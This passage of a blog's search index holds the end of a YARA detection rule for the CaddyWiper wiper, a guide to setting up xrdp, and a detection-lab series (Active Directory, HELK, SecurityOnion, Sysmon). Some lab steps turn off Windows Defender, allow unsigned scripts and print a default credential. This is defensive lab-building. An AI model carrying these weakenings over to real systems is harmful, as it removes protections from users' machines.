C6 45 ?? 00 C6 45 ?? 39 } condition: // Fill out the conditions that must be met to identify the binary $PE_magic_byte at 0 and $string1 and ($deviceiocontrol_hex and $c_users_hex and $physical_drive_hex) } ","permalink":"https://mikebosland.com/technical-analysis-of-new-caddywiper-malware/","summary":"\u003ch2 id=\"executive-summary\"\u003eExecutive Summary\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSHA 256 Hash\u003c/strong\u003e: \u003ccode\u003ea294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eESET researchers \u003ca href=\"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/\"\u003epublished\u003c/a\u003e a report on a new wiper malware first discovered in a limited number of organizations in Ukraine. It was first detected on 14 March 2022 at 9:38 AM UTC. This is the 3rd wiper malware discovered since 23 February 2022.\u003c/p\u003e\n\u003cp\u003eThe sample, a 32-bit Windows Portable Executable (PE) binary, was obtained from \u003ca href=\"https://bazaar.abuse.ch/\"\u003eMalwareBazaar\u003c/a\u003e. It is a destructive wiper program that runs on Windows platforms. Upon execution, the malware first identifies if it is running on a Primary Domain Controller, if so the malware exits harmlessly. If the machine is NOT a Primary Domain Controller, the malware continues executing.\u003c/p\u003e","title":"Technical Analysis of New CaddyWiper Malware discovered in Ukraine"},{"content":"I have a ton of virtual machines running on VMWare ESXi servers at home. To access them, I had been logging into the ESXi server and opening a remote console with VMWare Workstation Player. Works great\u0026hellip;but it\u0026rsquo;s a hassle\u0026hellip;then I found Apache Guacamole.\nApache Guacamole is a clientless remote desktop gateway. It supports VNC, RDP and SSH. It works in the browser thanks to HTML5 so no agents on the remote side as well\u0026hellip;just a web browser. It\u0026rsquo;s really making bouncing between machines.\nI installed Guacamole on a Kubernetes cluster I recently stood up. Simple install. I might turn it into it\u0026rsquo;s own server at some point, but this was an easy way to get started.\nNow that I have a remote gateway, I need some sort of server to run on the clients - originally I intended to use RDP for Windows and VNC for Linux.\nRDP on Windows is simple. Enable remote access, configure Guacamole with the IP, username, password, etc. Ready to go.\nNow for Linux. All of the documentation/guides for VNC seemed horribly out of date\u0026hellip;and a COMPLETE PAIN to get working on Linux. I spent a long time scouring the internet for any recent guides\u0026hellip;then figured out why I couldn\u0026rsquo;t find any information on VNC\u0026hellip;it sucks. No one uses it.\nOnce I found xrdp, the clouds parted and the angels sang. It\u0026rsquo;s so easy to use.\nInstalling xrdp Most of the linux distributions I use are based on Debian. On RHEL/CentOS sub yum for apt-get\nsudo apt-get install xrdp sudo systemctl start xdrp sudo systemctl enable xrdp sudo ufw allow 3389/tcp Colord Authorization and The Impending Crash Message One gotcha, which I only see on Ubuntu so far is that when you log in you are prompted to sign in to authorize the color management of the session. This is frustrating\u0026hellip;and sometimes the popup doesn\u0026rsquo;t disappear and a reboot is needed to get rid of it\u0026hellip;which it might not go away next time you log in either.\nI started to look into how to fix this. I found a great post from c-nergy.\nAuthorizing colord with PolKit The PolicyKit Authorization Framework, or polkit, is an authorization system that allows certain users to run certain actions on the system. By default, colord (used in xRDP) is restricted to the root user.\nSo the first part of the fix, is to allow all users to run colord.\nCreate the following file: /etc/polkit-1/localauthority.conf.d/02-allow-colord.conf\nAdd the following code:\npolkit.addRule(function(action, subject) { if ((action.id == “org.freedesktop.color-manager.create-device” || action.id == “org.freedesktop.color-manager.create-profile” || action.id == “org.freedesktop.color-manager.delete-device” || action.id == “org.freedesktop.color-manager.delete-profile” || action.id == “org.freedesktop.color-manager.modify-device” || action.id == “org.freedesktop.color-manager.modify-profile”) \u0026amp;\u0026amp; subject.isInGroup(“{users}”)) { return polkit.Result.YES; } }); You can be more secure and restrict the group allowed to run colord by changing users in the above snippet to the group you\u0026rsquo;d like.\nSystem Crash Unfortunately, this causes a system crash whenever you log in to the Ubuntu system. It seems to be related to polkit and the file we just created - if you remove that file the authorization popups return\u0026hellip;but no system crash. So how do we fix this crash?\nIf you have a polkit version \u0026lt; 0.106 you\u0026rsquo;ll need to create a .pkla file. To check this, run pkaction --version\nSo in my case, I\u0026rsquo;ll be making a .pkla file. Otherwise make a .conf file.\nCreate a file /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla\nCopy/paste the following\n[Allow Colord all Users] Identity=unix-user:* Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile ResultAny=no ResultInactive=no ResultActive=yes Finally, clear out any previous system crashes\nsudo rm /var/crash/* And reboot the system. You should now be able to log in without any authorization prompts or system crash messages.\n","permalink":"https://mikebosland.com/tldr-vnc-on-linux-sucks-use-xrdp/","summary":"\u003cp\u003eI have a ton of virtual machines running on VMWare ESXi servers at home. To access them, I had been logging into the ESXi server and opening a remote console with VMWare Workstation Player. Works great\u0026hellip;but it\u0026rsquo;s a hassle\u0026hellip;then I found \u003ca href=\"https://guacamole.apache.org/\"\u003eApache Guacamole\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eApache Guacamole is a clientless remote desktop gateway. It supports VNC, RDP and SSH. It works in the browser thanks to HTML5 so no agents on the remote side as well\u0026hellip;just a web browser. It\u0026rsquo;s really making bouncing between machines.\u003c/p\u003e","title":"TLDR: VNC on Linux Sucks...use xrdp"},{"content":"This is the sixth and final lab building post in the Building An Atomic Red Team Lab series. This is going to be our manage workstation - the one we\u0026rsquo;ll run our Atomic tests on. It\u0026rsquo;s a pretty straightfoward Windows 10 install, so let\u0026rsquo;s get started.\nOperating System Installation Start with a Windows 10 64-bit virtual machine.\nThe default settings will be fine. I increased the video memory since this will have a desktop and I want to be able to do full screen.\nThis is a simple windows installation. Click click click.\nNext Install now I accept the license terms Custom New Apply OK Next Wait\u0026hellip; The computer will reboot Yes Yes Skip I don\u0026rsquo;t have internet Continue with limited setup \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; \u0026lt;Configure security questions\u0026gt; I disabled all the toggle switches Accept Not now Wait again\u0026hellip; Install VMWare Tools On the ESXi Host, insert the VMWare Tools CD. Double Click on the CD drive in File Explorer Accept all the defaults Once the installation is complete, reboot the machine Set a Static IP and Host Name Since everything in this lab will have a static IP, we\u0026rsquo;ll set one with powershell.\nOpen a powershell terminal as Administrator First we set a static IP Then configure the DNS servers Finally set a host name and reboot New-NetIPAddress –IPAddress 10.20.0.100 -DefaultGateway 10.20.0.1 -PrefixLength 24 -InterfaceIndex (Get-NetAdapter).InterfaceIndex Set-DNSClientServerAddress –InterfaceIndex (Get-NetAdapter).InterfaceIndex –ServerAddresses (\u0026#34;10.20.0.10\u0026#34;) Rename-Computer -NewName vdi-win-01 -Restart Join the Domain Once the machine reboots, we\u0026rsquo;re ready to join our domain.\nOpen a powershell terminal as Administrator Join the domain and reboot with the following command Add-Computer -DomainName art.lab -Restart When prompted for a credential enter Administrator and the password you set up. The machine will reboot and apply the GPOs we set up, install Sysmon and Winlogbeat and start those services. However, on the first reboot, only Winlogbeat was installed. We need to run the scheduled task to install sysmon.\nAll of our GPOs have successfully applied, if we log into our HELK instance we can see logs from both the Domain Controller and this Windows Workstation.\nSnap Shot You can shut down the machine and take a snap shot. Power it back up and we\u0026rsquo;ll move on to installing Atomic Red Team and Invoke-Atomic in the next post.\n","permalink":"https://mikebosland.com/adding-windows-10-enterprise-to-the-lab-network/","summary":"\u003cp\u003eThis is the sixth and final lab building post in the \u003cstrong\u003eBuilding An Atomic Red Team Lab\u003c/strong\u003e series. This is going to be our manage workstation - the one we\u0026rsquo;ll run our Atomic tests on. It\u0026rsquo;s a pretty straightfoward Windows 10 install, so let\u0026rsquo;s get started.\u003c/p\u003e","title":"Adding Windows 10 Enterprise to the Lab Network"},{"content":"This post is part of my series on Building an Atomic Red Team Lab. This is the fifth part of this series where I’m going to document the installation process for the Active Directory Domain Controller. This will alsp be our DNS server as well.\nMost enterprise networks are Windows Active Directory networks, so it\u0026rsquo;s good to be familiar with how to install, configure, break and fix them. We\u0026rsquo;re going to base the domain controller on Windows Server 2019 Standard Desktop Experience. So let\u0026rsquo;s get the Operating System installed.\nInstalling Windows Server 2019 This is going to be a basic system - 2 vCPUs, 4 GB of RAM and 40 GB Hard drive. 1 NIC.\nInstalling the Operating System This is the standard Windows Server installation process. Mainly clicking though and accepting the defaults. There are a few places we\u0026rsquo;ll deviate so I\u0026rsquo;ll document those here.\nNext Install now Windows Server 2019 Standard Evaluation (Desktop Experience x64) I accept the license terms Custom New Apply OK Select Drive 0 Partition 4 Next Wait\u0026hellip; Set up your Administrator password Now we log in as our new Administrator.\nInstalling VMWare Tools In the ESXi host, got Actions \u0026gt; Guest \u0026gt; Install VMware Tools\nIn the Windows VM, open a File Explorer ad navigate to the DVD drive. Double click on setup64.exe.\nNext Typical Install Finish Yes The computer will reboot. Log back in once its ready.\nSet a Static IP As a domain controller this machine will need a static IP address. We could do this through the GUI, but we\u0026rsquo;re hackers so let\u0026rsquo;s use the command line\u0026hellip;or powershell in this case.\nNew-NetIPAddress –IPAddress 10.20.0.10 -DefaultGateway 10.20.0.1 -PrefixLength 24 -InterfaceIndex (Get-NetAdapter).InterfaceIndex A Network window popped up asking if we want to make the PC discoverable. Click Yes.\nMake sure you can ping the router\nping -n 1 10.20.0.1 Set DNS Servers Set the router as the DNS server\nSet-DNSClientServerAddress –InterfaceIndex (Get-NetAdapter).InterfaceIndex –ServerAddresses (\u0026#34;10.20.0.10\u0026#34;,\u0026#34;10.20.0.1\u0026#34;) Make sure you can ping Google\nping -n 1 google.com Set a Hostname By default, Windows systems configure a default host name that doesn\u0026rsquo;t provide any context. This will rename the computer and then restart the computer.\nRename-Computer -NewName DC1 -Restart Install Active Directory Let\u0026rsquo;s install Active Directory with PowerShell. First make sure we have PowerShell v5.\n$PSVersionTable.PSVersion Major Minor Build Revision ----- ----- ----- -------- 5 1 17763 592 Ok good. Now let\u0026rsquo;s run these commands\u0026hellip;\nInstall-WindowsFeature AD-Domain-Services Import-Module ADDSDeployment Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath \u0026#34;C:\\Windows\\NTDS\u0026#34; -DomainMode \u0026#34;Win2012R2\u0026#34; -DomainName \u0026#34;art.lab\u0026#34; -DomainNetbiosName \u0026#34;ART\u0026#34; -ForestMode \u0026#34;Win2012R2\u0026#34; -InstallDns:$true -LogPath \u0026#34;C:\\Windows\\NTDS\u0026#34; -NoRebootOnCompletion:$false -SysvolPath \u0026#34;C:\\Windows\\SYSVOL\u0026#34; -Force:$true Set up a SafeModeAdministratorPassword. This will start the installation process and then reboot the computer.\nLog back in as the ART\\Administrator. Now we can install the Remote Server Administration Tools Pack (RSAT) so we can have a GUI to manage users and computers.\nOnce again, launch powershell as an Administrator.\nInstall-WindowsFeature RSAT-ADDS Disable IE Enhanced Security Mode By default, IE Enhanced Security Mode is enabled. This is nice a secure, but I need to visit sites and pull down some files, so I\u0026rsquo;m going to disable that for Administrators since this is a lab environment.\nServer Manager \u0026gt; Local Server Click on On next to IE Enhanced Security Configuration Click Off under Administrators Click OK Configure the DNS Service I want to be able to access the IDS and HELK instances by URL rather than just IP Address so I\u0026rsquo;m going to set that up in DNS on the Windows Domain Controller.\nAccess the DNS Manage by going to Server Manager \u0026gt; Tools \u0026gt; DNS. Double click on the DC1 host name Then Forward Lookup Zones. Forward Lookup Zones store the URL -\u0026gt; IP Mappings Double click on art.lab Right Click and choose New Host (A or AAAA)... Click Add Host Repeat the process for HELK. Click Add Host Repeat one more time for the router. Click Add Host Test the DNS Records With the Enhanced Security off and the DNS configured, let\u0026rsquo;s see if we can access the IDS / HELK interfaces.\nOpen Internet Explorer You\u0026rsquo;ll see a caution page. That\u0026rsquo;s due to the disabled IE Enhanced Security Mode. Navigate to https://helk.art.lab You\u0026rsquo;ll see a This site is not secure warning. This is due to the HELK instance running a self-signed certificate. Click More information and then Go on to the webpage (not recommended) When prompted, enter the username:password displayed when HELK was installed. For me it\u0026rsquo;s helk:hunting. The kibana dashboard will load I\u0026rsquo;ll add a bookmark Now, navigate to https://securityonion.art.lab I got the same warning message. Continued to the webpage. Now I get a mess of a web page. I installed Google Chrome and tried again. Now it works. I added SecurityOnion as a bookmark Sign in with the email you created during SecurityOnion set up. Select Alerts from the left menu You can see some alerts already identified. So it\u0026rsquo;s working! Click on the bell icon for each of these to acknowledge and dismiss them. I added HELK as a bookmark and closed the tab Looks like the DNS is working.\nSet Some Group Policy Objects GPOs can be used to configure settings across all systems that are joined to the Active Directory domain. These will be helpful in our lab environment.\nDisable Windows Defender We\u0026rsquo;re going to be running malicious code intentionally, we don\u0026rsquo;t need Defender stopping us. We\u0026rsquo;re assuming the \u0026ldquo;bad guys\u0026rdquo; have successfully bypassed Defender somehow. We want to see how we can detect malicious activity with system and network logs. Copy and install SysMon SysMon is a great logging utility from Microsoft. We\u0026rsquo;ll gather logs with that and pass those to HELK. Copy and install WinLogBeat WinLogBeat will be used to ship event logs from the Windows system to the HELK server Disable Windows Defender Launch the Group Policy Management Console from Server \u0026gt; Tools \u0026gt; Group Policy Management Right click on the domain art.lab Select Create a GPO in this domain and link it here Name this Disable Windows Defender Press OK Navigate to the domain and right click on the Disable Windows Defender policy Select Edit Navigate to Computer Configuration \u0026gt; Policies \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Windows Defender AntiVirus Double click on Turn off Windows Defender Antivirus Set to Enabled Press Apply and OK Navigate to Computer Configuration \u0026gt; Policies \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Windows Defender AntiVirus \u0026gt; MAPS Double click on Join Microsoft MAPS Set the policy to Disabled Press Apply and OK Close the GPO Editor Let\u0026rsquo;s check to see if it\u0026rsquo;s working. And Windows Defender is still ok.\nForce the Group Policies to refresh with gpupdate /Force\nPerfect.\nEnable Script Execution By default, Windows requires Signed Scripts. For this lab environment, we don\u0026rsquo;t need that so we\u0026rsquo;re going to allow all scripts.\nLaunch the Group Policy Management Console from Server \u0026gt; Tools \u0026gt; Group Policy Management Right click on the domain art.lab Select Create a GPO in this domain and link it here Name is Enable Script Execution Right click on the new policy and choose Edit Navigate to Computer Configuration \u0026gt; Policies \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Windows Powershell Change the radio button to Enabled and the Execution Policy Drop down to Allow all scripts. Press Apply and OK Run gpupdate /Force Install and Configure Sysmon SysMon is a Windows service and device driver that logs system activity to the Windows event log. It is developed by Microsoft as part of the SysInternals Suite. These logs can then be forwarded to HELK using WinLogBeat.\nSysmon Modular sysmon-modular is a project to help manage the complexity of sysmon rules. Since sysmon is very granular, this project helps split it up into manageable chunks.\nSysmon-Modular also maps logs to the MITRE ATT\u0026amp;CK framework, which will be nice to map to the Atomic Red Team tests.\nInstall git from https://git-scm.com/downloads I accepted the defaults except: set the default editor to Notepad set the terminal emulator to Use Windows\u0026rsquo; default console window Run the following commands to create a folder and clone the sysmon-modular repo mkdir C:\\source cd C:\\source git clone https://github.com/olafhartong/sysmon-modular cd sysmon-modular . .\\Merge-SysmonXml.ps1 Merge-AllSysmonXml -Path ( Get-ChildItem \u0026#39;[0-9]*\\*.xml\u0026#39;) -AsString | Out-File sysmonconfig.xml Create a Sysmon GPO To install Sysmon to all domain computers easily, we can set up a GPO policy to grab the config file, install it, grab a copy of Sysmon and then install Sysmon.\nMy initial thought was to run a script at Startup, but the machine won\u0026rsquo;t be restarted frequently - especially if this was an actual production environment. So the current iteration will run the script every hour.\nThe basic process is:\nCreate a folder on the domain to hold the sysmonconfig.xml and sysmon binaries Create a .bat file to install sysmon Create a scheduled task to run the .bat file hourly to check for sysmon changes Sysmon Install Bat file This file will check the architecture of the device (32 bit or 64 bit), copy the sysmonconfig.xml to the configuration directory and install the proper sysmon binary and service.\nThis is the script I wrote to copy the configuration file and binaries to the Windows system, install and start the sysmon service.\n@echo off # Variables SET DC=ART.lab SET FQDN=ART.lab SET SYSMONDIR=C:\\Windows\\Sysmon SET SYSMONCONFIGDIR=C:\\Sysmon SET SYSMONCONFIGGILE=sysmonconfig.xml # Check 32/64 bit Architecture IF EXIST \u0026#34;C:\\Program Files (x86)\u0026#34; ( SET BINARCH=Sysmon64.exe SET SERVBINARCH=Sysmon64 ) ELSE ( SET BINARCH=Sysmon.exe SET SERVBINARCH=Sysmon ) # Set the local file paths (to copy to) SET SYSMONBIN=%SYSMONDIR%\\%BINARCH% SET SYSMONCONFIG=%SYSMONCONFIGDIR%\\%SYSMONCONFIGFILE% # Set the domain file paths (to copy from) SET GLOBALSYSMONBIN=\\\\%DC%\\sysvol\\%FQDN%\\Sysmon\\%BINARCH% SET GLOBALSYSMONCONFIG=\\\\%DC%\\sysvol\\%FQDN%\\Sysmon\\%SYSMONCONFIGFILE% sc query \u0026#34;%SERVBINARCH% | Find \u0026#34;RUNNING\u0026#34; IF \u0026#34;%ERRORLEVEL%\u0026#34; EQU \u0026#34;1\u0026#34; ( goto StartService ) :Install Sysmon IF not EXIST %SYSMONDIR% ( mkdir %SYSMONDIR% ) IF NOT EXIST %SYSMONCONFIGDIR% ( mkdir %SYSMONCONFIGDIR% ) copy /v %GLOBALSYSMONBIN% %SYSMONBIN% copy /v %GLOBALSYSMONCONFIG% %SYSMONCONFIG% %SYSMONBIN% -i %SYSMONCONFIG% -accepteula -h md5,sha256 -n -l sc config %SERVBINARCH% start=auto :UpdateConfig copy /v %GLOBALSYSMONCONFIG% %SYSMONCONFIG% chdir %SYSMONDIR% %SYSMONBIN% -c %SYSMONCONFIG% EXIT /B 0 :StartService sc start %SERVBINARCH% IF \u0026#34;%ERRORLEVEL%\u0026#34; EQU \u0026#34;1060\u0026#34; ( goto InstallSysmon ) ELSE ( goto UpdateConfig ) Create a Domain Folder for Sysmon We need to create a folder that is accessible to all the machines on the network. This folder will house the original binaries, configuration files and the install script.\nOpen File Explorer, and navigate to \\\\art.lab\\SYSVOL\\art.lab\\Sysmon Copy sysmonconfig.xml to this folder Copy the downloaded Sysmon binaries to this folder There should be 3 files in that folder now Create a GPO to Create a Scheduled Task Now we need to create a scheduled task that will run the installation script on a regular basis. Each time the script is run, it will pull the copy of the sysmonconfig.xml file from the network. This way we can assure that all machines are running the msot recent configuration if we need to make changes.\nCreate a GPO to create the scheduled task Name is Deploy Sysmon Computer Configuration \u0026gt; Control Panel Settings \u0026gt; Scheduled Tasks Right click \u0026gt; New \u0026gt; Scheduled Task (At least Windows 7) Under General, configure it to match the screenshot below Under Trigger, click New and configure to match the screenshot Under Actions, click New and configure it to match the screenshot below. Finally, under Settings, check Allow task to be run on demand Press OK Test the GPO At the moment, we can see there is not a C:\\Sysmon folder or a C:\\Windows\\Sysmon. So let\u0026rsquo;s force a Group Policy update with gpupdate /Force to grab the new GPO.\nType Get-ScheduledTask to see the list of tasks. Look for Sysmon Update to confirm the GPO was applied.\nThe task is there\u0026hellip;but you can manually trigger it to run it\u0026hellip;or wait for the next hour since the task is configured to run manually. I\u0026rsquo;m impatient so I\u0026rsquo;m going to trigger it manually.\nStart-ScheduledTask -TaskName \u0026#34;Sysmon Update\u0026#34; Now we can see the C:\\Sysmon folder.\nIf you run Get-Service you can see all the services. You should see Sysmon or Sysmon64 in the list.\nFinally, if you open the Event Viewer, navigate to Application and Services Logs \u0026gt; Microsoft \u0026gt; Sysmon \u0026gt; Operational you can see the logs Sysmon is recording. Everything is working.\nNow, each machine that joins the domain, will have sysmon automatically installed.\nTo update sysmonconfig.xml, make the modifications to the files in C:\\source\\sysmon-modular, run the powershell commands we did previously and copy the new sysmonconfig.xml to the domain folder \\\\art.lab\\SYSVOL\\art.lab\\Sysmon. Each hour the machines will grab the file and restart sysmon.\nWinLogBeat Installation and Configuration GPO WinLogBeat is a tool created by Elastic to ship logs to Logstash or Elastic. Similar to what we did for Sysmon, we\u0026rsquo;re going to create a GPO to grab the latest WinLogBeat config, binary and then install the service. Since the config file isn\u0026rsquo;t going to change much, we can set the GPO to run on start up.\nCreate the Installation Script Create a new script and name it install_winlogbeat.ps1\n# This script will remove WinLogBeat, and reinstall it # Delete the WinLogBeat service if it already exists if (Get-Service winlogbeat -ErrorAction SilentlyContinue) { $service = Get-WmiObject -Class Win32_Service -Filter \u0026#34;name=\u0026#39;winlogbeat\u0026#39;\u0026#34; $service.StopService() Start-Sleep -s 1 $service.delete() } $configDir = \u0026#34;C:\\WinLogBeat\u0026#34; $configFile = \u0026#34;$configDir\\winlogbeat.yml\u0026#34; $exefile = \u0026#34;$configDir\\winlogbeat.exe\u0026#34; $dc = \u0026#34;art.lab\u0026#34; $fqdn = \u0026#34;art.lab\u0026#34; $globalConfigFile = \u0026#34;\\\\$dc\\sysvol\\$fqdn\\Winlogbeat\\winlogbeat.yml\u0026#34; $globalExeFile = \u0026#34;\\\\$dc\\sysvol\\$fqdn\\Winlogbeat\\winlogbeat.exe\u0026#34; # create the folders New-Item -ItemType Directory -Force -Path \u0026#34;$configDir\u0026#34; New-Item -ItemType Directory -Force -Path \u0026#34;$configDir\\data\u0026#34; New-Item -ItemType Directory -Force -Path \u0026#34;$configDir\\logs\u0026#34; # Copy the files from Sysvol Copy-Item -Path \u0026#34;$globalConfigFile\u0026#34; -Destination \u0026#34;$configFile\u0026#34; Copy-Item -Path \u0026#34;$globalExeFile\u0026#34; -Destination \u0026#34;$exefile\u0026#34; # Create the new service New-Service -name winlogbeat -displayName Winlogbeat -binaryPathName \u0026#34;`\u0026#34;$exefile`\u0026#34; --environment=windows_service -c `\u0026#34;$configFile`\u0026#34; --path.home `\u0026#34;$configDir`\u0026#34; --path.data `\u0026#34;$configDir\\data`\u0026#34; --path.logs `\u0026#34;$configDir\\logs`\u0026#34; -E logging.files.redirect_strderr=true\u0026#34; # Attempt to set the service to delayed start using sc config Try { Start-Process -FilePath sc.exe -ArgumentList \u0026#39;config winlogbeat start=delayed-auto\u0026#39; } Catch { Write-Host -f red \u0026#34;An error occurred setting the service to delayed start\u0026#34; } # Try to start the new service Start-Service -Name \u0026#34;winlogbeat\u0026#34; Create a folder at \\\\art.lab\\SYSVOL\\art.lab\\Winlogbeat Copy the winlogbeat.yml (below) to the newly created folder ###################### Winlogbeat Configuration Example ######################### # Winlogbeat 6, 7, and 8 are currently supported! # You can download the latest stable version of winlogbeat here: # https://www.elastic.co/downloads/beats/winlogbeat # For simplicity/brevity we have only enabled the options necessary for sending windows logs to HELK. # Please visit the Elastic documentation for the complete details of each option and full reference config: # https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-reference-yml.html #-------------------------- Windows Logs To Collect ----------------------------- winlogbeat.event_logs: - name: Application ignore_older: 30m - name: Security ignore_older: 30m - name: System ignore_older: 30m - name: Microsoft-windows-sysmon/operational ignore_older: 30m - name: Microsoft-windows-PowerShell/Operational ignore_older: 30m event_id: 4103, 4104 - name: Windows PowerShell event_id: 400,600 ignore_older: 30m - name: Microsoft-Windows-WMI-Activity/Operational event_id: 5857,5858,5859,5860,5861 #----------------------------- Kafka output -------------------------------- output.kafka: # initial brokers for reading cluster metadata # Place your HELK IP(s) here (keep the port). # If you only have one Kafka instance (default for HELK) then remove the 2nd IP that has port 9093 hosts: [\u0026#34;10.20.0.210:9092\u0026#34;] topic: \u0026#34;winlogbeat\u0026#34; ############################# HELK Optimizing Latency ###################### max_retries: 2 max_message_bytes: 1000000 Create a new GPO and link it to the domain Name it Deploy Winlogbeat Right click and press Edit Navigate to Computer Configuration \u0026gt; Policies \u0026gt; Windows Settings \u0026gt; Scripts. Double click on Startup Change to the Powershell tab Click Add Script Name should be \\\\art.lab\\sysvol\\art.lab\\Winlogbeat\\install_winlogbeat.ps1 Click OK Click Apply Click OK Right now, we don\u0026rsquo;t have any winlogbeat service.\nSo let\u0026rsquo;s reboot the machine and see if the Startup scripts run. After we log in, we should see C:\\Winlogbeat and if we run Get-Services, we should see winlogbeat in the list now.\nWhen I checked in HELK, I didn\u0026rsquo;t see any events. But after restarting the Kafka-Broker docker container on the HELK server, they started to appear.\nsudo docker container restart helk-kafka-broker Snapshot At this point, I\u0026rsquo;d shut down the machine and take a snap shot of the current working state. After that, make sure to restart the machine since we\u0026rsquo;ll need this up when we start on the Windows Workstation next.\n","permalink":"https://mikebosland.com/installing-and-configuring-active-directory-with-powershell/","summary":"\u003cp\u003eThis post is part of my series on \u003cstrong\u003eBuilding an Atomic Red Team Lab\u003c/strong\u003e. This is the fifth part of this series where I’m going to document the installation process for the Active Directory Domain Controller. This will alsp be our DNS server as well.\u003c/p\u003e\n\u003cp\u003eMost enterprise networks are Windows Active Directory networks, so it\u0026rsquo;s good to be familiar with how to install, configure, break and fix them. We\u0026rsquo;re going to base the domain controller on \u003ca href=\"\"\u003eWindows Server 2019 Standard Desktop Experience\u003c/a\u003e. So let\u0026rsquo;s get the Operating System installed.\u003c/p\u003e","title":"Installing and Configuring Active Directory with Powershell"},{"content":"This post is part of my series on Building an Atomic Red Team Lab. This is the fourth part of this series where I’m going to document the installation process for Hunting ELK (HELK). This is the first log, alerting and analysis system I\u0026rsquo;m going to look at.\nHELK is a hunting platform built around the ElasticSearch, Logstash and Kibana technology stack. Logs are sent from the host system, using WinLogBeat, to the HELK server.\nThe logs from WinLogBeat first enter into the Kafka listener. Kafka is a distributed publish-subsscribe messaging system. From there, the lgos are parsed by Logstash and stored in an ElasticSearch database. These stored messages can be searched and displayed in dashboards using Kibana.\nSo now that we have a little understanding of how the system works, let\u0026rsquo;s dive in to the installation process.\nInstallation Host Operating System According to the documentation, Ubuntu 18.04.5 Server is the prefered operating system, so we\u0026rsquo;ll do with that.\nCreate a virtual machine with the following settings.\nThe installation process here is simple. Defaults are fine. Just next your way through.\nWhen you get to the network section, you need to manually configure an IP address since I didn\u0026rsquo;t set up a DHCP server on the router. I added the Domain Controller IP as a DNS server and the router as a DNS server.\nI set the machine name to helk and installed openssh-server as well. That way it will be easy to configure once we get everything running. Once it\u0026rsquo;s complete, select Reboot. Press Enter when prompted.\nOnce Ubuntu is installed, I first run some updates.\nsudo apt-get update \u0026amp;\u0026amp; sudo apt-get upgrade -y Once those updates are complete, install VMWare tools.\nsudo apt-get install open-vm-tools Install HELK Once the updates are complete, it\u0026rsquo;s time to install the HELK platform. To start, we\u0026rsquo;ll grab the code from github and then run the install script.\nsudo apt-get install -y git mkdir ~/source cd ~/source git clone https://github.com/Cyb3rWard0g/HELK.git cd HELK/docker sudo ./helk_install.sh 1 10.20.0.210 hunting In the output you will see some URLs, usernames and passwords. Make sure you save that.\nSnapshot Once the system is ready, shut down the machine and take a snapshot. Shutting down the machine helps make the snapshot process go faster.\n","permalink":"https://mikebosland.com/installing-and-configuring-hunting-elk-on-esxi/","summary":"\u003cp\u003eThis post is part of my series on \u003cstrong\u003eBuilding an Atomic Red Team Lab\u003c/strong\u003e. This is the fourth part of this series where I’m going to document the installation process for \u003ca href=\"https://thehelk.com/intro.html\"\u003eHunting ELK (HELK)\u003c/a\u003e.  This is the first log, alerting and analysis system I\u0026rsquo;m going to look at.\u003c/p\u003e\n\u003cp\u003eHELK is a hunting platform built around the ElasticSearch, Logstash and Kibana technology stack. Logs are sent from the host system, using WinLogBeat, to the HELK server.\u003c/p\u003e\n\u003cp\u003eThe logs from WinLogBeat first enter into the Kafka listener. Kafka is a distributed publish-subsscribe messaging system. From there, the lgos are parsed by Logstash and stored in an ElasticSearch database.  These stored messages can be searched and displayed in dashboards using Kibana.\u003c/p\u003e\n\u003cp\u003eSo now that we have a little understanding of how the system works, let\u0026rsquo;s dive in to the installation process.\u003c/p\u003e","title":"Installing and Configuring Hunting ELK on ESXi"},{"content":"This post is part of my series on Building an Atomic Red Team Lab. This is the second part of this series where I\u0026rsquo;m going to document the installation process for the Intrusion Detection System (IDS).\nOperating System Our Intrusion Detection System (IDS) will monitor the network traffic for suspicious or malicious traffic\u0026hellip;which I\u0026rsquo;ll be generating. I\u0026rsquo;m going to use the new version of SecurityOnion for this.\nSecurityOnion is a free and opensource IDS and network monitoring platform. It has a suite of tools installed by default: A full ELK stack, Zeek, Wazuh, Suricata, Snort, etc. You can use the latest Emerging Threats ruleset to grab the most recent threat signatures known in the wild.\nSecurityOnion2 is based on CentOS 7, so we\u0026rsquo;ll use that to build the base VM.\nThe VM is going a standalone deployment meaning that all of the elements reside on the same server. So, we\u0026rsquo;re going to need to power behind it. I\u0026rsquo;m going to start with 8 vcpus, 12GB of RAM, 500GB Hard Drive (thin provisioned) and 2 NICs - 1 for management and 1 for sniffing.\nInstallation Installing SecurityOnion 2 is pretty straight forward. The installer walks you through the process.\nPress enter Type yes to agree that any existing data will be over written Enter an administrator username and password Wait\u0026hellip;this takes quite a while\u0026hellip;be patient. No really. It\u0026rsquo;s a while. Once that\u0026rsquo;s finally done, press enter to reboot the machine. Configuration he first time you log in after installation, you will be prompted to configure the system. Here are the selections I made:\nYes Install Standalone Agree Standard securityonion use anyway IDS ens192 STATIC 10.20.0.200/24 10.20.0.1 10.20.0.10,10.20.0.1 art.lab OK Direct ens224 Automatic 10.20.0.0/24 Basic Zeek ETOPEN OK OK Yes mike.bosland@art.lab \u0026lt;your secure password\u0026gt; OTHER securityonion.art.lab \u0026lt;another secure password for soremote\u0026gt; BASIC 1 1 Yes 0.pool.ntp.org,1.pool.ntp.org NODEBASIC Yes 10.20.0.0/24 Yes And now we wait\u0026hellip;Once it finished, I received an error.\nWhen I checked the logs, it appeared to be mainly Service not ready type errors.\nHopefully a reboot solves this. So I rebooted the machine and ran sudo so-status to check which services are running.\nAlright, we\u0026rsquo;re still coming up. Wait a bit and repeat\u0026hellip;\nNow we can see all the services are up and running.\nWe need to allow access from the outside world. I\u0026rsquo;m going to allow anyone on the lab network to view this page so I can check from any machine. In reality, you\u0026rsquo;d want to lock this down much 